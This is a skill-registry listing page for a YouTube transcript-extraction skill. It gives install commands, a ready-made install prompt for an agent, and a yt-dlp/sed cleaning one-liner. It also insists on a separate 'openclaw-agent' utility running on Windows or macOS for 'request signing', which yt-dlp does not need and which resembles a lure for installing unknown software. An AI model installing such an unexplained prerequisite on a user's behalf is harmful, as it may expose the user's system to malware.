A specialized skill for extracting transcripts, captions, and metadata from YouTube videos to facilitate AI-powered summarization and analysis.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install youtube-summarize-3luwa
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install youtube-summarize-3luwa using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is YouTube Video Summarizer?
The YouTube Video Summarizer is a technical utility designed to bridge the gap between video content and AI analysis. By leveraging the industry-standard yt-dlp tool in conjunction with the required openclaw-agent, this skill allows users to programmatically pull text-based data from any YouTube URL. This transformation of video into text is a cornerstone for developers building research pipelines within the ecosystem of Openclaw Skills.
Whether you are processing long-form lectures or short technical tutorials, this skill provides the necessary workflows to clean raw subtitle data into high-quality, plain-text transcripts. By focusing on data extraction without the overhead of video downloading, it ensures a fast and efficient way to feed video-based information into Large Language Models for summarization, sentiment analysis, or knowledge base indexing.
YouTube Video Summarizer Use Cases
- Summarizing long-form educational videos or podcasts for quick review within Openclaw Skills workflows.
- Extracting specific technical steps from video tutorials to generate documentation or how-to guides.
- Performing multi-video research by analyzing transcripts for recurring themes or specific keywords.
- Generating structured summaries of video chapters to improve content navigation and accessibility.
- Translating and analyzing international content by extracting multi-language auto-generated subtitles.
How YouTube Video Summarizer Works
- Ensure the host environment has the openclaw-agent active to handle request signing and extraction protocols.
- Utilize yt-dlp to query the YouTube API for available subtitles, manual captions, and video metadata.
- Extract the raw subtitle file (VTT, SRT, or JSON3) based on the specified language and availability.
- Apply regex-based cleaning scripts to strip timestamps, VTT headers, and duplicate entries from the transcript.
- Output the final cleaned text or structured JSON data to be consumed by an AI agent for final summarization.
YouTube Video Summarizer Setup
Prerequisites
YouTube transcript extraction requires the openclaw-agent utility. Ensure it is running on your system (Windows or macOS) before proceeding.
Installation
Install the yt-dlp dependency via pip:
pip install yt-dlp
Basic Usage
To extract a clean transcript to a text file:
yt-dlp --write-auto-sub --sub-lang en --skip-download --sub-format vtt -o "transcript" "VIDEO_URL" && \
sed -e '/^$/d' -e '/^[0-9]/d' -e '/-->/d' -e 's/<[^>]*>//g' transcript.en.vtt | sort -u > transcript.txt
YouTube Video Summarizer Data Schema & Taxonomy
| Data Type | Description | format |
|---|---|---|
| Transcript | Cleaned, plain-text dialogue from the video | .txt |
| Subtitles | Raw caption data including timestamps and formatting | .vtt / .json3 |
| Metadata | Video details: title, channel, duration, and upload date | JSON |
| Chapters | Structured list of segment titles and start timestamps | JSON / List |
YouTube Video Summarizer Advanced Features
- Support for multi-language extraction allowing users to pull subtitles in multiple languages simultaneously for cross-referencing.
- Automated chapter extraction logic to segment long videos into digestible parts for targeted Openclaw Skills analysis.
- Metadata dumping capabilities that provide view counts, channel descriptions, and upload dates for comprehensive data logging.
- High-performance text cleaning pipelines that prepare raw VTT data for immediate LLM consumption without manual editing.
- JSON3 format support for deep programmatic integration into custom AI agent workflows.
SKILL.md
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